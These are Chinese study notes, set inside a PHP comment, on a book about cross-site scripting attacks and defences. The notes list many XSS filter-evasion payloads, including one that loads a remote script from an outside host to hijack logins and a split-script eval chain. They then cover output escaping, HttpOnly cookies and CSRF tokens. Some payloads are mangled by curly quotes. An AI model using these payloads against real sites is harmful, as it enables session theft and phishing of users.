xss跨站脚本攻击剖析与防御-读书笔记
<?php
/*
1、什么是xss？
xss中文名字<跨站脚本>主要是因为web程序对输入输出过滤不足导致的。
攻击者利用xss漏洞把恶意脚本代码(HTML+Javascript)注入到网页中，
当用户浏览这些网页时，就会执行恶意代码，对受害者进行攻击，例如
盗取Cookie,会话劫持，钓鱼欺骗等各种攻击。
2、xss的危害
Cookie盗取
只要有记住密码功能，盗取cookie模拟登陆，没有记住密码，还可以劫持临时会话。
会话劫持
SESSION是临时临时存储的，JS获取不到，但是我们可以构造恶意链接进行欺骗攻击
网络钓鱼
传统的钓鱼网站是模仿，域名和页面必须是独立的，虽然可以做到非常相似，但是稍有疑心的用户就能识破。
但是结合xss技术之后，攻击者能够通过javascript动态控制页面的逻辑，比如修改表单的提交地址，远程记录用户信息
比如：我在nba的搜索页面嵌入一段js,劫持了登录操作，然后我把构造的链接发到其他论坛，用户一旦点链接过来的登录，用户信息就被窃取到了。
<img src="" onerror="javascript:var a = document.createElement('script');a.src = 'http://wangdk.sinaapp.com/js/xss.js'; document.body.appendChild(a);”>
嗅探客户端信息
国外有人实现js的端口扫描器， www.gnucitizen.org
截获剪切板内容
window.clipboardData.getData("Text") ie低版本支持 ie6 ie7需要配置使用, chrome ,firefox 不支持
网页挂马
下载恶意软件，通过修改dom元素，进行截获事件并强制下载恶意软件
XXS蠕虫
新浪微博的xxs蠕虫，3个小时感染10W用户。
CSRF攻击
跨站伪造请求攻击，如果程序没有验证referer 或者token编写程序的时候存在漏洞被利用。以当前用的身份执行一次恶意请求。
比如nba吧，我发一个请求，利用这个请求可以诱骗管理员过来删帖。先构造一个删帖请求，发到微博， 诱骗nba管理员过来点击。
如果nba管理员来点击了这个请求(短链)， 请求就会已管理员的身份执行。有多大权限使用多大。如果验证了referer 不能从新浪微博点击过来，
挖掘nba的xss，造成本站CSRF。这样欺骗过referer。
3、xss的类型
反射型
反射型跨站脚本也成作非持久型，参考型跨站脚本。最为常见，也是使用最广泛的一种。主要用与将恶意脚本附加到url中，常见比如站内搜索。
持久型
存储型跨站脚本，比反射型更具威力。并很有可能影响到web服务器本身安全。
留言，评论，博客日志，等交互处，恶意脚本被存到数据库。当其他用户浏览时，就会被攻击。
DOM型
主要JS程序不验证外来数据造成，最容易出现在js业务逻辑中，最难发现，最难寻找。
例如：var a = document.URL; document.write(a.substring(a.indexOf(‘a=‘)+2, a.length);
document.referer，window.name, location 属性都必须过滤
http://www.webappsec.org/projects/articles/071105.html
我们来看看刚才那个网站列举的测试和发掘DOMXSS的对象
document.URL
document.URLUnecoded
document.location
document.referer
window.location
* 触发点
*
* document.write
* document.writeIn
* document.body.innerHTML
* document.forums[0].action
* document.attachEvent
* document.create…
* document.body….
* document.location=
* document.loocation.hostname=
* document.location.replace
* document.location.assign
* document.URL=
* document.open
* window.location.href
* eval
* window.setInterval
* window.setTimeout
*
4、xss的检测
自动化工具：
Acunetix web Vulnerability Scanner
xssDetect
ratproxy
手工注入
XSS 构造和剖析
chrome FF IE10 都具备了过滤普通xss的功能。
一个优秀负责的开发人员是不容许自己的程序代码出现任何漏洞，为了防止跨站脚本攻击，会在web应用中涉及一个xss filter xss过滤器。
xss过滤器一般都是基于黑白名单的安全过滤，把数据过滤之后保存到数据库
从攻击的角度去探讨
1、利用<>标记注射，如果用户可以随心所欲的引入<>标记，那么她就能操作一个html标签，就可以引入js脚本。因此xss过滤器，首先过滤的就是<> <script> 等字符
这样类似<script>alert(0)</script>,就给过滤掉了
2、利用HTML属性标签执行XSS
<table background=“javascript:alert(/xss/);”></table> 用户不能自己构造标签，还可以用属性还执行js。
很多HTML标签属性都支持javascript:[code]为协议的形式，这个特殊的协议类型声明了主体内容就是任意Javascript，由javascript解释器解析执行。
<img src=“javascript:alert(‘css’);”
<table background=“javascript:alert(/xss/);”></table> IE6支持，所以要过滤javascript
3、空格回车tab
如果xss过滤器仅仅把敏感输入字符列入黑名单处理：对敏感词javascript 还可以利用空格，回车，tab键绕过限制，看下面例子
<table background=“javas cript:alert(/xss/);”></table>
<table background=“javas cr ipt:alert(/xss/);”></table>
javascript是以分号结尾的.切记哈。
4、对标签属性进行转码
HTML中的属性值本身支持ASCII码形式,ASCII码即美国信息互换标准代码，是目前计算最通用的编码标准。
例子：<img src=“javascriptt:alert(/xss/);”>
t的ASCII码为116，用t表示, ;分号 :表示
5、产生自己的事件
假设用户不能用HTML属性来进行跨站，我们还有事件
<img src=“” onerror=“javascript:alert(/xss/)”>
跨站事件太多了，而且各个浏览器引擎之间还有所不同。
6、css 跨站
使用CSS样式表执行javascript具有隐蔽，灵活等特点。但是CSS样式表有个缺点，各浏览器之间不能通用，
例1：<div style='background-image:url("javascirpt:alert(0)")'></div>
：<img src="#" style="xss:expression(alert(/xss/));">
例2：<style> @import 'javascript:alert(0)'; </style> IE 可以执行
安全起见，包含expression, javascript, import 等敏感字符的样式表也要进行过滤
7、扰乱规则
一个正常的xss输入
<img src=“javascirpt:alert(0);”>
转换大小写之后
<IMG SRC=“javascript:alert(0);”>
大小写混淆的XSS
<img src=“jaVasCript:alert(0);”>
不用双引号
<img src=‘javascript:alert(0);’>
不用引号
<img src=“javascript:alert(0);”>
<img/src=""> IE6可以执行
当利用expression 执行跨站代码时，可以构造不同的全角字符来扰乱过滤
<XSS STYlE=“xss:exprESSION(‘xss’))”> */
// 8、注释扰乱
// 样式表中会被浏览器忽略，因此可以用/**/来注释字符，绕过黑名单
// <img src="java/*/*javascript*/script/*javascript*/*/script:alert(0);"> ie6
// 可以自己构造任意注释字符了
// 除了/**/之外,样式标签中的\和结束符\0 是浏览器忽略的。如
// @\0im\port’\0\ja\vasc\ript:alert(“xss”)’
/* 还可以将CSS中的关键字进行转码处理，如将e转换为\65 包括改变编码中的0的数量
干扰千变万化，用过可以用个技巧突破过滤系统，当然还要考虑各个浏览器的兼容性
<!— <img src=“—> <img src=x onerror=alert(0)//“>
这个例子用了浏览器解析HTML注释存在的问题来执行javascript
<comment><img src=“</comment><img src=x onerror=alert(0)//>
这个只有IE支持，其他浏览器不支持
<style><img src=“</style><img src=x onerror=alert(0)//“>
9、利用字符编码
字符编码在跨站中用的最多，通过各种编码，绕过后端的过滤。
还记得前面HTML属性支持&#ASCII码，这种xss转码支持十进制和十六进制形式。
写几个解密，加密测试吧
String.fromCharCode(a.charCodeAt())
javascript 支持 unicode escapes 十六进制，八进制，
微软还支持script encoder 加密，加密后IE可以解析
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:a&
#0000108ert('XSS')>
10、拆分跨站法
当程序没有过滤xss 但是限制了长度，就可以使用拆分使用法
使用方法：
<script>z=‘document.’</script>;
<scritp>z=z+'write("'</scritp>
<script>z=z+'<script’></script>
<script>z=z+’scr=http://www.baidu.com/xss.js'</script>
<script>z=z+’</script>'</script>
<script>eval(z);</script>
UTF7编码
UTF7编码是指7位Unicode转换格式，是众多字符集编码的一种，使用+,-符号控制编码的开始和结束。而BOM是字节 顺序标记，是插入到已UTF-8, UTF-16, UTF-32编码的unicode文件开头的特殊标记
用来识别Unicode文件编码类型。
加入有以下代码
<script>alert(0)</script>
UTF7编码以后
+ADw-script+Ad4-alert(0)+ADw-/script+AD4
一般来说浏览器需要知道字符集的编码才能正确的显示网页，如果字符集编码没有在Content-type头或者<meta>标签中定义，某些浏览器会自动猜测网页的字字符集编码。
万恶的IE在碰到UTF7的编码时，会自动解析。
国外的xss测试表，想见识xss测试有多少中狂点吧
https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet#XSS_Locator
5、XXS防御
1、输入过滤
2、输出编码
3、黑名单和白名单
4、定制过滤策略
5、
6、web安全编码规范
在安全领域有一条黄金法则：“一切输入都是有害的”。即便是这样，因为业务需要,不可能完全过滤用户输入的某些内容，比较可行的解决方案就是在服务端进行Web安全编码，让有害的数据变为无害。
在输出这些对潜在威胁的字符前进行编码，转义是防护与xss攻击的有效措施。
对于web应用而言，其动态可能来源于用户输入，URL, HTTP头，POST数据，Cookies值，查询关键字等。
PHP安全转义htmlspacialchars 将 < > & " ' 转义为实体。
JS前台也要把' 转义\', " 转义 \", \ 转义 \\, / 转义 \/, \n 转为\n, \r 转为 \r， 避免在JS环境上下文中出现这些字符。
表单事件安全过滤:
先对字符进行html转义，在进行javascript转义
< (小于号) 转义 <
> (大于号) 转义 >
& (和号) 转义 &
" (双引号) 转义 "
' (单引号) 转义 '
\ (反斜线) 转义 \\
/ (正斜线) 转义 \/
\n (换行符) 转义 \n
\r (回车符) 转义 \r
使用开源库来防御xss
HTMLPurifier
AnPHP框架1.1.0已集成 AnFilter::html_purifier() 调用即可。
7、HttpOnly Cookie
盗取Cookie是最常见的xss攻击手法之一，唯一解决的办法就是不让javascript读取Cookie， 微软早在2002年IE6sp1就引入了。
PHP设置HttpOnlyCookie
1、修改php.ini
session.cookie_httponly = 1
2、setcookie()函数和setrawcookie()函数也专员们添加第7个参数来设置httpOnly
setcookie("abc", 'test', null, null, null, null, true);
setrawcookie("abc", 'test', null, null, null, null, true)
3、在PHP代码中开启
ini_set("session.cookie_httponly", 1);
session_set_cookie_params(0, null, null, null, true);
8、防御CSRF
目前防御CSRF主要由三种方式
1、检验HTTP Referer
简单易用，但是Referer可以被伪造，另外flash请求的地址是不带Referer的。
2、验证码
体验度不够好，但是足以防御CSRF
3、使用token
一次性token还是比较好的防御CSRF,但是如果页面出现xss漏洞，token就会被盗取。
*/
?>